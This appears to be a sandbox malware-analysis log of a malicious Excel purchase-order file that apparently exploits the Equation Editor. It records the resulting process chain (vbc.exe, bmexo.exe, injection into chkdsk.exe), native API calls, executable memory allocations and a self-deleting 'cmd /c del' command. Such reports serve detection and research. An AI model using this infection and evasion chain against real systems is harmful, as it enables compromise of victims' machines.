Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 5_2_00160A2C
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 6_2_0040102F
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 6_2_00401030
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 6_2_0041D8FD
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 6_2_0041E99C
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 6_2_0040927B
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 6_2_0041DAD0
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 6_2_00409280
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 6_2_0040DC20
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 6_2_0041EDF4
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 6_2_00402D88
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 6_2_00402D90
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 6_2_0041DEEC
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 6_2_0041E73A
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 6_2_00402FB0
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 6_2_00F21890
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 6_2_00F2A184
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 6_2_00F2B3F1
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 6_2_00F2C3BD
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 6_2_00F29C12
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 6_2_00F296A0
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 6_2_00F27E88
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 6_2_009AE0C6
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 6_2_009DD005
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 6_2_009C905A
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 6_2_00A2D06D
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 6_2_009B3040
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 6_2_009AE2E9
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 6_2_00A51238
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 6_2_00A563BF
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 6_2_009D63DB
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 6_2_009AF3CF
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 6_2_009B2305
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 6_2_009B7353
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 6_2_009FA37B
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 6_2_009C1489
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 6_2_009E5485
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 6_2_00A3443E
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 6_2_009ED47D
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 6_2_009CC5F0
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 6_2_009B351F
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 6_2_009F6540
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 6_2_009B4680
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 6_2_009BE6C1
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 6_2_00A52622
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 6_2_009FA634
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 6_2_009BC7BC
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 6_2_00A3579A
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 6_2_009E57C3
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 6_2_00A4F8EE
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 6_2_009BC85C
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 6_2_009D286D
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 6_2_009B29B2
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 6_2_00A5098E
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 6_2_009C69FE
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 6_2_00A3394B
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 6_2_00A35955
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 6_2_00A63A83
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 6_2_00A5CBA4
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 6_2_00A3DBDA
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 6_2_009D7B00
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_02441238
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_0239E2E9
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_023A2305
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_023EA37B
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_023A7353
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_023C63DB
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_0239F3CF
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_024463BF
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_0241D06D
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_023CD005
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_023B905A
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_023A3040
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_0239E0C6
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_023EA634
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_02442622
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_023A4680
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_023AE6C1
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_023AC7BC
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_0242579A
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_023D57C3
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_023DD47D
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_0242443E
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_023B1489
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_023D5485
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_023A351F
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_023E6540
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_024205E3
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_023BC5F0
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_02453A83
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_023C7B00
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_02426BCB
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_0242DBDA
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_0244CBA4
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_023C286D
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_023AC85C
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_0241F8C4
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_0243F8EE
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_0242394B
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_02425955
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_023A29B2
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_023B69FE
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_0244098E
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_023D2E2F
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_023BEE4C
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_023B0F3F
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_023CDF7C
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_0242BF14
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_02412FDC
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_0243CFB1
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_0242AC5E
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_023D0D3B
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_023ACD5B
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_0243FDDD
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_0009927B
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_00099280
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_000AE73A
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_000AD8FD
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_000AE99C
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_000ADAD0
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_0009DC20
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_00092D88
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_00092D90
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_000AEDF4
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_000ADEEC
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_00092FB0

Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: String function: 0239E2A8 appears 58 times
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: String function: 0240F970 appears 84 times
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: String function: 023E3F92 appears 132 times
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: String function: 023E373B appears 248 times
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: String function: 0239DF5C appears 124 times
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: String function: 009F373B appears 186 times
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: String function: 009ADF5C appears 94 times
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: String function: 00F24599 appears 38 times
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: String function: 00F22400 appears 54 times
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: String function: 009AE2A8 appears 31 times
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: String function: 009F3F92 appears 86 times
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: String function: 00A1F970 appears 66 times

Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 6_2_0041A310 NtCreateFile,
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 6_2_0041A3C0 NtReadFile,
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 6_2_0041A440 NtClose,
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 6_2_0041A4F0 NtAllocateVirtualMemory,
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 6_2_0041A30A NtCreateFile,
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 6_2_0041A43A NtClose,
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 6_2_0041A4EA NtAllocateVirtualMemory,
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 6_2_009A00C4 NtCreateFile,LdrInitializeThunk,
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 6_2_009A0048 NtProtectVirtualMemory,LdrInitializeThunk,
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 6_2_009A0078 NtResumeThread,LdrInitializeThunk,
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 6_2_009A07AC NtCreateMutant,LdrInitializeThunk,
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 6_2_0099F9F0 NtClose,LdrInitializeThunk,
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 6_2_0099F900 NtReadFile,LdrInitializeThunk,
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 6_2_0099FAD0 NtAllocateVirtualMemory,LdrInitializeThunk,
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 6_2_0099FAE8 NtQueryInformationProcess,LdrInitializeThunk,
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 6_2_0099FBB8 NtQueryInformationToken,LdrInitializeThunk,
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 6_2_0099FB68 NtFreeVirtualMemory,LdrInitializeThunk,
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 6_2_0099FC90 NtUnmapViewOfSection,LdrInitializeThunk,
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 6_2_0099FC60 NtMapViewOfSection,LdrInitializeThunk,
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 6_2_0099FD8C NtDelayExecution,LdrInitializeThunk,
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 6_2_0099FDC0 NtQuerySystemInformation,LdrInitializeThunk,
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 6_2_0099FEA0 NtReadVirtualMemory,LdrInitializeThunk,
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 6_2_0099FED0 NtAdjustPrivilegesToken,LdrInitializeThunk,
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 6_2_0099FFB4 NtCreateSection,LdrInitializeThunk,
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 6_2_009A10D0 NtOpenProcessToken,
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 6_2_009A0060 NtQuerySection,
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 6_2_009A01D4 NtSetValueKey,
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 6_2_009A010C NtOpenDirectoryObject,
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 6_2_009A1148 NtOpenThread,
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 6_2_0099F8CC NtWaitForSingleObject,
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 6_2_0099F938 NtWriteFile,
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 6_2_009A1930 NtSetContextThread,
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 6_2_0099FAB8 NtQueryValueKey,
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 6_2_0099FA20 NtQueryInformationFile,
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 6_2_0099FA50 NtEnumerateValueKey,
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 6_2_0099FBE8 NtQueryVirtualMemory,
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 6_2_0099FB50 NtCreateKey,
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_023900C4 NtCreateFile,LdrInitializeThunk,
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_023907AC NtCreateMutant,LdrInitializeThunk,
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_0238FAB8 NtQueryValueKey,LdrInitializeThunk,
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_0238FAE8 NtQueryInformationProcess,LdrInitializeThunk,
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_0238FAD0 NtAllocateVirtualMemory,LdrInitializeThunk,
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_0238FB68 NtFreeVirtualMemory,LdrInitializeThunk,
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_0238FB50 NtCreateKey,LdrInitializeThunk,
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_0238FBB8 NtQueryInformationToken,LdrInitializeThunk,
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_0238F900 NtReadFile,LdrInitializeThunk,
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_0238F9F0 NtClose,LdrInitializeThunk,
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_0238FED0 NtAdjustPrivilegesToken,LdrInitializeThunk,
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_0238FFB4 NtCreateSection,LdrInitializeThunk,
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_0238FC60 NtMapViewOfSection,LdrInitializeThunk,
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_0238FD8C NtDelayExecution,LdrInitializeThunk,
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_0238FDC0 NtQuerySystemInformation,LdrInitializeThunk,
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_02390078 NtResumeThread,
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_02390060 NtQuerySection,
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_02390048 NtProtectVirtualMemory,
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_023910D0 NtOpenProcessToken,
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_0239010C NtOpenDirectoryObject,
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_02391148 NtOpenThread,
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_023901D4 NtSetValueKey,
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_0238FA20 NtQueryInformationFile,
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_0238FA50 NtEnumerateValueKey,
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_0238FBE8 NtQueryVirtualMemory,
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_0238F8CC NtWaitForSingleObject,
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_0238F938 NtWriteFile,
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_02391930 NtSetContextThread,
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_0238FE24 NtWriteVirtualMemory,
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_0238FEA0 NtReadVirtualMemory,
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_0238FF34 NtQueueApcThread,
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_0238FFFC NtCreateProcessEx,
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_0238FC30 NtOpenProcess,
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_0238FC48 NtSetInformationFile,
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_02390C40 NtGetContextThread,
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_0238FC90 NtUnmapViewOfSection,
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_0238FD5C NtEnumerateKey,
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_02391D80 NtSuspendThread,
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_000AA310 NtCreateFile,
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_000AA3C0 NtReadFile,
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_000AA440 NtClose,
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_000AA4F0 NtAllocateVirtualMemory,
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_000AA30A NtCreateFile,
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_000AA43A NtClose,
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_000AA4EA NtAllocateVirtualMemory,

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Memory allocated: 77620000 page execute and read and write
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Memory allocated: 77740000 page execute and read and write
Source: C:\Users\Public\vbc.exe	Memory allocated: 77620000 page execute and read and write
Source: C:\Users\Public\vbc.exe	Memory allocated: 77740000 page execute and read and write
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Memory allocated: 77620000 page execute and read and write
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Memory allocated: 77740000 page execute and read and write
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Memory allocated: 77620000 page execute and read and write
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Memory allocated: 77740000 page execute and read and write
Source: C:\Windows\SysWOW64\chkdsk.exe	Memory allocated: 77620000 page execute and read and write
Source: C:\Windows\SysWOW64\chkdsk.exe	Memory allocated: 77740000 page execute and read and write

Source: BON DE COMMANDE POUR CHENOUFI AEK.xlsx	Virustotal: Detection: 38%
Source: BON DE COMMANDE POUR CHENOUFI AEK.xlsx	ReversingLabs: Detection: 26%

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: unknown	Process created: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding
Source: unknown	Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Users\Public\vbc.exe "C:\Users\Public\vbc.exe"
Source: C:\Users\Public\vbc.exe	Process created: C:\Users\user\AppData\Local\Temp\bmexo.exe C:\Users\user\AppData\Local\Temp\bmexo.exe C:\Users\user\AppData\Local\Temp\fmrfya
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Process created: C:\Users\user\AppData\Local\Temp\bmexo.exe C:\Users\user\AppData\Local\Temp\bmexo.exe C:\Users\user\AppData\Local\Temp\fmrfya
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\chkdsk.exe C:\Windows\SysWOW64\chkdsk.exe
Source: C:\Windows\SysWOW64\chkdsk.exe	Process created: C:\Windows\SysWOW64\cmd.exe /c del "C:\Users\user\AppData\Local\Temp\bmexo.exe"
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Users\Public\vbc.exe "C:\Users\Public\vbc.exe"
Source: C:\Users\Public\vbc.exe	Process created: C:\Users\user\AppData\Local\Temp\bmexo.exe C:\Users\user\AppData\Local\Temp\bmexo.exe C:\Users\user\AppData\Local\Temp\fmrfya
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Process created: C:\Users\user\AppData\Local\Temp\bmexo.exe C:\Users\user\AppData\Local\Temp\bmexo.exe C:\Users\user\AppData\Local\Temp\fmrfya
Source: C:\Windows\SysWOW64\chkdsk.exe	Process created: C:\Windows\SysWOW64\cmd.exe /c del "C:\Users\user\AppData\Local\Temp\bmexo.exe"

Source: C:\Users\Public\vbc.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{1F486A52-3CB1-48FD-8F50-B8DC300D9F9D}\InProcServer32

Source: C:\Users\Public\vbc.exe

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\Desktop\~$BON DE COMMANDE POUR CHENOUFI AEK.xlsx

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Temp\CVR6595.tmp

Jump to behavior

Source: classification engine

Classification label: mal100.troj.expl.evad.winXLSX@11/16@0/1

Source: C:\Users\Public\vbc.exe

Code function: 4_2_004021AA CoCreateInstance,

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\Public\vbc.exe

Code function: 4_2_00404ABB GetDlgItem,SetWindowTextW,SHBrowseForFolderW,CoTaskMemFree,lstrcmpiW,lstrcatW,SetDlgItemTextW,GetDiskFreeSpaceW,MulDiv,SetDlgItemTextW,

Source: explorer.exe, 00000007.00000000.1012455681.0000000003B10000.00000002.00000001.00040000.00000000.sdmp

Binary or memory string: .VBPud<_

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Source:	Binary string: C:\wxiwy\cojnmd\dyrz\70c437f178a447d5b5e03abf78ad86d5\khqwan\zzevlnko\Release\zzevlnko.pdb source: vbc.exe, 00000004.00000002.988316158.0000000000788000.00000004.00000001.01000000.00000004.sdmp, bmexo.exe, 00000005.00000002.979347417.0000000000F2E000.00000002.00000001.01000000.00000005.sdmp, bmexo.exe, 00000005.00000000.968231879.0000000000F2E000.00000002.00000001.01000000.00000005.sdmp, bmexo.exe, 00000006.00000000.974589862.0000000000F2E000.00000002.00000001.01000000.00000005.sdmp, chkdsk.exe, 00000008.00000002.1174039918.0000000002887000.00000004.10000000.00040000.00000000.sdmp, chkdsk.exe, 00000008.00000002.1173217045.00000000003B3000.00000004.00000020.00020000.00000000.sdmp, nsmD99.tmp.4.dr, bmexo.exe.4.dr
Source:	Binary string: chkdsk.pdb source: bmexo.exe, 00000006.00000002.1050114953.0000000000030000.00000040.10000000.00040000.00000000.sdmp, bmexo.exe, 00000006.00000002.1050401037.0000000000714000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: bmexo.exe, bmexo.exe, 00000006.00000003.981359909.0000000000800000.00000004.00000800.00020000.00000000.sdmp, bmexo.exe, 00000006.00000002.1050432541.0000000000990000.00000040.00000800.00020000.00000000.sdmp, bmexo.exe, 00000006.00000003.979000602.00000000002B0000.00000004.00000800.00020000.00000000.sdmp, bmexo.exe, 00000006.00000002.1051582479.0000000000B10000.00000040.00000800.00020000.00000000.sdmp, chkdsk.exe, chkdsk.exe, 00000008.00000002.1173724762.0000000002500000.00000040.00000800.00020000.00000000.sdmp, chkdsk.exe, 00000008.00000003.1050200391.0000000002090000.00000004.00000800.00020000.00000000.sdmp, chkdsk.exe, 00000008.00000003.1051411235.00000000021F0000.00000004.00000800.00020000.00000000.sdmp, chkdsk.exe, 00000008.00000002.1173489046.0000000002380000.00000040.00000800.00020000.00000000.sdmp

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_035D01A4 push 28D37A0Fh; iretd
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_035D0126 push 28D37A0Fh; iretd
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 5_2_00F22445 push ecx; ret
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 6_2_004172EC push DC386EC8h; ret
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 6_2_0040FCF7 push ebp; ret
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 6_2_0041D662 push eax; ret
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 6_2_0041D66B push eax; ret
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 6_2_0041D615 push eax; ret
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 6_2_0041D6CC push eax; ret
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 6_2_00F22445 push ecx; ret
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_0239DFA1 push ecx; ret
